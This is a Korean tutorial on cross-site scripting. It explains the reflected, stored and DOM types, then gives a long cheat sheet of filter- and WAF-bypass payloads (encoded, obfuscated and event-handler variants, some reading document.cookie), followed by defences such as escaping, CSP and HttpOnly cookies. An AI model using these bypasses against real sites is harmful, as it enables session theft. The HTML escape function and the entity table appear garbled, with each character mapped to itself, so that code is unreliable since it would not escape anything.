1. XSS란
XSS는 Cross Site Script의 약자로 원래라면 CSS가 맞지만 CSS(Cascading Style Sheets)는 웹사이트에 표현되는 방법을 정해주는 스타일 시트 언어로 사용되기 때문에 XSS로 불리게 되었다.
웹 서비스에 Javascript 등 스크립트를 실행할 수 있는 코드를 삽입하여 다른 사용자 등에게 공격자가 의도한 스크립트를 실행하게 하는 공격 방법이다.
XSS는 유연성이 높아 특이한 부분에서 취약점이 발생하거나 생각지도 못한 기능과 연계되어 취약점이 발생하는 경우도 많다.
ex)
1. 상장, 이력서, 프린터 등 출력에서의 XSS
2. 이미지 HEX값 내 스크립트 구문 삽입
3. 메타데이터 내 스크립트 구문 삽입
2. XSS의 종류
XSS의 종류는 크게 3개가 있다.
- Reflected XSS
- Stored XSS
- DOM XSS
그 외 Blind XSS 이나 CSS XSS, Json XSS 등 파생된 여러 XSS 공격은 생략하겠다.
2.1. Reflected XSS
비 지속적(Non-persistent) 기법이라고도 하는 Reflected XSS 공격은 악성 스크립트가 웹 애플리케이션에서 피해자의 브라우저로 반사될 때 발생한다.
공격자는 보통 스크립트가 포함된 링크를 클릭하게 하여 공격자가 원하는 사이트(피싱사이트 등)에 접근하게 하거나 세션 값을 유출 시키는 행위를 한다.
이 취약점은 일반적으로 들어오는 요청에 대한 검증이 충분하지 않아 웹 애플리케이션의 기능을 조작하고 악성 스크립트를 활성화할 수 있다.
2.2. Stored XSS
저장형(Stored) 크로스 사이트 스크립트 공격은 공격자가 악의적인 스크립트를 삽입하여 서버에 저장되는 방식을 의미한다.
공격자가 게시판이나 댓글로 악성 스크립트를 삽입 한 후 웹 애플리케이션의 데이터베이스나 저장소에 저장되고, 다른 사용자들은 해당 게시판이나 댓글에 접근 할 경우 악성 스크립트가 실행되어 사용자의 세션 쿠키, 토큰 등 중요 정보가 노출된다.
공격자가 작성한 악성 스크립트가 포함된 게시글에 접근한 다수의 사용자 정보가 유출 될 수 있다.
2.3. DOM XSS
DOM(Document Object Model) 크로스 사이트 스크립트 공격은 웹 페이지의 클라이언트 측 스크립트를 이용한 공격이다.
DOM 구조를 이용하여 요소들을 수정하거나 추가하는 등의 동적 행위를 할 때 접근하는 JavaScript에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 악성 스크립트가 실행되도록 하는 공격이다.
DOM-based XSS는 클라이언트측에서 DOM을 이용해서 동적으로 페이지를 조작할 때 발생하는 취약점이다. 즉 공격 페이로드가 응답메시지에 포함되어있지 않을 수 있다.
내가 겪은 DOM XSS는 보통 클라이언트 브라우저 단에서만 발생했었다.
3. 공격백터
3.1. 팁
3.1.1. Reflected XSS
보통은 해당 파라미터에 스크립트 구문이 그대로 들어가 XSS가 발생하거나 기존에 사용하는 파라미터의 값(범위)을 벗어나게 하여 발생시킨다.
파라미터의 값을 변경하여 공격 가능성을 찾아보는 것이 중요하다.
위의 URL를 예를 들어보면 각각의 파라미터에 값들을 변조하여 공격 가능성이 있는지 확인해 봐야한다.
파라미터에 값들을 변조하여 에러페이저로 넘어가진 않는지 혹은 해당 파라미터의 값을 포함한 채 정상 페이지로 넘어가는지 확인이 필요하다
어느 부분의 파라미터 값 변조에서 에러가 나는지 모르기 때문에 한 개의 파라미터 씩 체크하는 것이 제일 중요하다.
또한 도구(크롬의 경우 F12)를 이용하여 어떤 값으로 필터링 되는지 혹은 치환되는지 확인하여 보안이 미흡한 경우 우회를 할 수 있기 때문에 필히 확인해야 한다.
3.1.2. Stored XSS
Stored XSS의 제일 중요한 점은 필터링 방식인지 치환 방식인지 그리고 어느 부분에 어떠한 방식의 필터링이 걸려 있는지 확인해야 한다.
개발자가 단어에 대한 필터링 처리를 해놨다면 script 단어일 경우 Script로 변경하여 삽입 한다면 정상적으로 스크립트 삽입이 가능할 것이다.
경험한 바로 가장 많이 필터링 되는 alert의 경우 대체할 수 있는 prompt나 confirm을 사용하여 우회한 경험이 제일 많았다.
<script>alert(45)</script>
-> 필터링
<script>prompt(45)</script>
<script>confirm(45)</script>
-> 대체
또한 스크립트를 작성할 때 특수문자 필터링이 어떤 식으로 처리되는지 알아야 한다.
!@#$%^&**()<>{}[];:'"-+=-
이런 식으로 특수문자들을 삽입하여 어느 부분에서 필터링 처리 되는지 확인 할 수 있다.
보통은 특수문자와 문자열을 같이 필터링 하는 경우가 많아 Stored XSS을 찾기 위해서는 더더욱 어떠한 방식으로 필터링 처리되는지 확인해야 한다.
추가적으로 Stored XSS는 에디터 프로그램과 연관이 깊다.
상용 에디터를 사용 하는 경우 해당 에디터의 XSS 취약점이 존재 하는지 확인해야 하고 다수의 사용자가 사용하는 경우 보통 CVE를 통해 공유가 되어진다.
해당 에디터에 해당 버전이 CVE 취약점에 노출되어 있는건 아닌지 확인해야 한다.
3.1.3. DOM XSS
DOM XSS는 보통 클릭해서 URL이 바뀌는 방식에서 많이 발생한다.
카테고리를 예로 들면
http://test.com/category/page#1
http://test.com/category/page#2
http://test.com/category/page#3
웹 브라우저는 URL에서 해시 부분을 파싱하고, 파싱된 값을 JavaScript 코드로 실행한다. 여기서 #1, #2, #3 등의 해시 값은 웹 브라우저에서 클라이언트 측 스크립트로 해석하게 된다.
http://test.com/category/page#1=<script>alert('XSS Attack');</script>
혹은 리다이렉션 되는 부분에 자바스크립트를 주입하여 스크립트가 실행될 수 있다.
https://example.com/?redirect=javascript:prompt(document.domain)%2f%2f
3.2. 스크립트
script 구문
일반적인 스크립트 구문
<script>alert(45)</script>
괄호 필터링 우회
<script>alert`45`</script>
문자열 탐지 우회
<ScRipT>alert(45)</ScRipT>
-> 대소문자 우회
<scrscriptipt>alert(45)</scrscriptipt>
-> 문자열 탐지 소거 우회
<script>\u0061lert(1)</script>
-> 유니코드 이스케이프
<script>\u{61}lert(45)</script>
<script>\u{0000000061}lert(45)</script>
-> 유니코드 이스케이프 ES6
<script>eval('\x61lert(45)')</script>
-> Hex encoding
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
-> throw문을 통한 강제 에러
특수문자 우회
URL 인코딩
%3Cscript%3Ealert(45)%3C%2Fscript%3E
-> 꺽쇠 우회
%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
-> 괄호 포함 우회
%253Cscript%253Ealert(45)%253C%252Fscript%253E
-> 더블 인코딩
잘 안막아놓는 구문
details 태그
<details open ontoggle=alert(1)>xss</details>
<details ontoggle=alert(1)>xss</details>
-> details 태그는 개발자가 종종 놓치는 부분이 많음(open은 생략가능)
svg 태그
<svg><discard onbegin=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
data: + image/svg+xml (제일 많이 찾은 구문)
<embed type="image/svg+xml" src='data:image/svg+xml;,<svg xmlns:svg="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" xmlns:xlink="[http://www.w3.org/1999/xlink](http://www.w3.org/1999/xlink)" version="1.0" x="0" y="0" width="10" height="10" id="xss"><script type="text/ecmascript">alert(45);</script></svg>'>
<embed type="image/svg+xml" src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=">
<object data='data:image/svg+xml;,<svg xmlns:svg="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" xmlns:xlink="[http://www.w3.org/1999/xlink](http://www.w3.org/1999/xlink)" version="1.0" x="0" y="0" width="10" height="10" id="xss"><script type="text/ecmascript">alert(45);</script></svg>'>
<object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=">
-> javascript에서 base64로 자동으로 디코딩 되어 해당 구문이 풀어지면서 스크립트가 삽입이 되는 방식
<ontransitionend> css transition 사용 조건 (두번째로 많이 찾은 구문)
- Ontransitionend은 이벤트 핸들러 중 하나로 CSS의 Transition이 완료될 때 동작
ontransitionend
<input type=text style="display:block;transition:outline 1s;" ontransitionend=alert(45) id=x tabindex=1>
ontransitioncancel
<input type=text style="display:block;transition:outline 1s;" ontransitioncancel=alert(1) id=x tabindex=1>
ontransitionrun
<input type=text style="display:block;transition:outline 1s;" ontransitionrun=alert(1) id=x tabindex=1>
ontransitionstart
<input type=text style="display:block;transition:outline 1s;" ontransitionstart=alert(1) id=x tabindex=1>
input 태그
<input type="text" onmouseover="alert('Hello world');">
p태그
<p draggable="true" ondrag="alert(1)">Drag me!</p>
<p draggable="true" onDragEnd="alert(document.cookie)">Drag me!</p>
<p ondblclick="alert(document.cookie)">Double-click me</p>
길이 제한
- short url 활용 (https://www.shorturl.at/)
https://shorturl.at/dfEY9
-> http://test.com/"javascript:alert(45)
xmp
<xmp><p title="</xmp><svg/onload=alert(45)>">
<noscript><p title="</noscript><svg/onload=alert(45)>">
<noframes><p title="</noframes><svg/onload=alert(45)>">
<iframe><p title="</iframe><svg/onload=alert(45)>">
bypass
onerror=alert;throw 45
WAF bypass
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
<a href="	javascript:alert(1)">
<a href="javascript:alert(1)">
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:alert(1)">
<constructor> 속성
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')]( decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
3.3. 이벤트 핸들러
더 자세한 내용은 owasp 홈페이지의 XSS Cheat Sheet를 통해 확인 바란다.
4. 보안대책
- 필터링을 통한 입력 값 검증
- Content Security Policy (CSP) 사용
- HttpOnly 및 Secure 쿠키
- 템플릿 엔진 사용
- 웹 어플리케이션 방화벽 (WAF)
4.1. 필터링을 통한 입력 값 검증
치환법과 소거법은 주로 출력 단계에서 사용자 입력 데이터를 처리하는 방법이다.
치환법은 출력 값에 특수 문자를 이스케이프하거나, 안전한 형태로 바꾸어 표시함으로써 XSS 공격을 막는 데 중점을 둔다.
이스케이프 함수는 치환법을 실제로 구현하는 데 사용됩니다. 이스케이프 함수를 사용하여 출력 값에 사용자 입력을 적절하게 처리함으로써 치환법을 구현할 수 있다.
1. 소거법
소거법은 사용자 입력 데이터를 검증하고, 필요하지 않은 요소나 악의적인 코드를 제거하여 처리하는 방법이다.
입력 값 검증은 애플리케이션에서 특정한 규칙에 따라 데이터를 걸러내거나, 허용된 문자/요소만 허용하도록 하는 것을 의미한다.
허용 목록 작성: 이 방법은 허용되는 문자, 문자열, 요소 또는 패턴을 명확하게 정의한다.
입력 값 검증: 사용자로부터 입력된 데이터나 콘텐츠를 검사하여 허용 목록에 있는 것만 허용하고, 그렇지 않은 것은 제거하거나 거부한다.
예시: HTML에서는 <script> 태그나 onload 이벤트와 같은 미리 정의된 허용 목록 이외의 태그나 이벤트를 제거
2. 치환법
치환법은 웹 애플리케이션에서 사용자 입력 데이터를 출력하기 전에 특수 문자나 HTML 태그 등을 안전한 형태로 변환하는 방법이다.
특수 문자 치환: 이 방법은 입력 값에서 특수 문자를 치환하여 브라우저가 해당 문자를 스크립트로 해석하지 못하도록 만든다.
입력 값의 이스케이프: HTML, JavaScript, CSS 등 다양한 컨텍스트에서 특수 문자를 이스케이프 처리한다.
예시: <를 <로 치환하여 HTML 태그로 해석되지 않도록 하거나, '를 \'로 치환하여 JavaScript 문자열 안에서 작동하지 않도록 한다.
3. 이스케이프 함수
이스케이프 함수는 입력값을 출력할 때 특수 문자나 코드를 무력화하고 안전한 형태로 표시하는 역할을 한다.
이스케이프 함수는 치환법을 구현하는데 사용되며, 사용자 입력 데이터를 출력할 때 사용되어야 합니다.
컨텍스트 기반 필터링 (Contextual Output Encoding)
이스케이프 함수는 주로 HTML, JavaScript, CSS 등 다양한 컨텍스트에 따라 다르게 적용됩니다.
HTML 이스케이프
HTML 이스케이프 함수는 HTML 태그와 특수 문자를 이스케이프하여 브라우저에서 그대로 텍스트로 표시되도록 한다.
예를 들어, <를 <, >를 >, "를 ", '를 '와 같이 바꾼다.
function htmlEscape(input) {
return input.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
JavaScript 이스케이프
JavaScript 이스케이프 함수는 JavaScript 문자열 안에서 특수 문자를 이스케이프하여 스크립트로 해석되지 않도록 한다.
예를 들어, '를 \', "를 \", \를 \\로 바꾼다.
function jsEscape(input) {
return input.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\\"');
}
URL 이스케이프
URL 이스케이프 함수는 URL 안에 있는 특수 문자나 공백을 이스케이프하여 올바른 URL 형식을 유지한다.
encodeURIComponent() 함수를 사용하여 이스케이프할 수 있다.
var escapedURL = encodeURIComponent(inputURL);
HTML 특수문자 코드 표
표현문자 | 숫자표현 | 문자표현 | 설명 |
- | �- | - | 사용하지 않음 |
space | 	 | - | 수평탭 |
space | | - | 줄 삽입 |
- | - | - | 사용하지 않음 |
space |   | - | 여백 |
! | ! | - | 느낌표 |
" | " | " | 따옴표 |
# | # | - | 숫자기호 |
$ | $ | - | 달러 |
% | % | - | 백분율 기호 |
& | & | & | Ampersand |
' | ' | - | 작은 따옴표 |
( | ( | - | 왼쪽 괄호 |
) | ) | - | 오른쪽 괄호 |
* | * | - | 아스트릭 |
+ | + | - | 더하기 기호 |
, | , | - | 쉼표 |
- | - | - | Hyphen |
. | . | - | 마침표 |
/ | / | - | Solidus (slash) |
0 - 9 | 0-9 | - | 0부터 9까지 |
: | : | - | 콜론 |
; | ; | - | 세미콜론 |
< | < | < | 보다 작은 |
= | = | - | 등호 |
> | > | > | 보다 큰 |
? | ? | - | 물음표 |
@ | @ | - | Commercial at |
A - Z | A-Z | - | A부터 Z까지 |
[ | [ | - | 왼쪽 대괄호 |
\ | \ | - | 역슬래쉬 |
] | ] | - | 오른쪽 대괄호 |
^ | ^ | - | 탈자부호 |
_ | _ | - | 수평선 |
` | ` | - | Acute accent |
a - z | a-z | - | a부터 z까지 |
{ | { | - | 왼쪽 중괄호 |
| | | | - | 수직선 |
} | } | - | 오른쪽 중괄호 |
~ | ~ | - | 꼬리표 |
- | -Ÿ | - | 사용하지 않음 |
  | | Non-breaking space | |
¡ | ¡ | ¡ | 거꾸로된 느낌표 |
¢ | ¢ | ¢ | 센트 기호 |
£ | £ | £ | 파운드 |
¤ | ¤ | ¤ | 현재 환율 |
¥ | ¥ | ¥ | 엔 |
| | ¦ | ¦ | 끊어진 수직선 |
§ | § | § | 섹션 기호 |
¨ | ¨ | ¨ | 움라우트 |
ⓒ | © | © | 저작권 |
ª | ª | ª | Feminine ordinal |
≪ | « | « | 왼쪽 꺾인 괄호 |
¬ | ¬ | ¬ | 부정 |
| ­ | ­ | Soft hyphen |
? | ® | ® | 등록상표 |
4.2. CSP 사용
CSP는 이전에 적은 글이 있어 참고해주시기 바랍니다.
https://bziwnsizd.tistory.com/51?category=960782
4.3. HttpOnly 및 Secure 쿠키
HttpOnly 쿠키 적용: HttpOnly 쿠키는 JavaScript에서 접근할 수 없도록 설정하는 방법이다. 이렇게 하려면 쿠키를 생성할 때 HttpOnly 속성을 설정해야 한다.
Secure 쿠키 적용: Secure 쿠키는 안전한 연결(HTTPS)을 통해만 전송되도록 설정해야 한다. 이를 위해서는 웹 서버가 HTTPS를 지원하고 사용 중이어야 한다.
1. JavaScript (Node.js):
JavaScript에서는 httpOnly 및 secure 속성을 직접 설정할 수 있다. 다음은 Node.js를 사용한 예시입니다.
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/set-cookie', (req, res) => {
// HttpOnly 및 Secure 쿠키 설정
res.cookie('myCookie', 'myValue', { httpOnly: true, secure: true });
res.send('HttpOnly 및 Secure 쿠키가 설정되었습니다.');
});
app.listen(3000, () => {
console.log('서버가 3000 포트에서 실행 중입니다.');
});
2. PHP
PHP에서는 setcookie 함수를 사용하여 HttpOnly 및 Secure 쿠키를 설정할 수 있다.
<?php
// HttpOnly 및 Secure 쿠키 설정
setcookie("myCookie", "myValue", time() + 3600, "/", "", true, true);
?>
3. Python (Django)
Django와 같은 Python 웹 프레임워크에서는 HttpResponse 객체를 사용하여 HttpOnly 및 Secure 쿠키를 설정할 수 있다.
from django.http import HttpResponse
def set_cookie(request):
response = HttpResponse("HttpOnly 및 Secure 쿠키가 설정되었습니다.")
# HttpOnly 및 Secure 쿠키 설정
response.set_cookie("myCookie", "myValue", httponly=True, secure=True)
return response
4. Ruby on Rails (Ruby)
Ruby on Rails에서는 cookies 메서드를 사용하여 HttpOnly 및 Secure 쿠키를 설정할 수 있다.
class CookiesController < ApplicationController
def set_cookie
# HttpOnly 및 Secure 쿠키 설정
cookies.encrypted[:myCookie] = { value: "myValue", httponly: true, secure: true }
render plain: "HttpOnly 및 Secure 쿠키가 설정되었습니다."
end
end
4.4. 템플릿 엔진 사용
Python의 Flask 웹 프레임워크와 Jinja2 템플릿 엔진을 예로 들어보겠다.
from flask import render_template
@app.route('/user/<username>')
def user_profile(username):
# 사용자가 입력한 데이터
user_input = "Hello, <script>alert('XSS 공격!');</script>"
# 사용자 입력을 템플릿에 전달하고 렌더링
return render_template('template.html', username=username, content=user_input)
jinja2 템플릿 엔진은 기본적으로 HTML 이스케이핑을 수행하므로 사용자 입력을 안전하게 렌더링한다.
따라서 user_input 변수에 포함된 스크립트가 실행되지 않고 텍스트로 출력된다.
위의 예시에서, "user_input" 변수에 포함된 <script> 태그는 텍스트로 취급되어 화면에 나타나고, 스크립트로 해석되지 않는다.
템플릿 엔진을 사용하면 자동으로 HTML 이스케이핑을 수행하여 XSS 공격을 방지가 된다.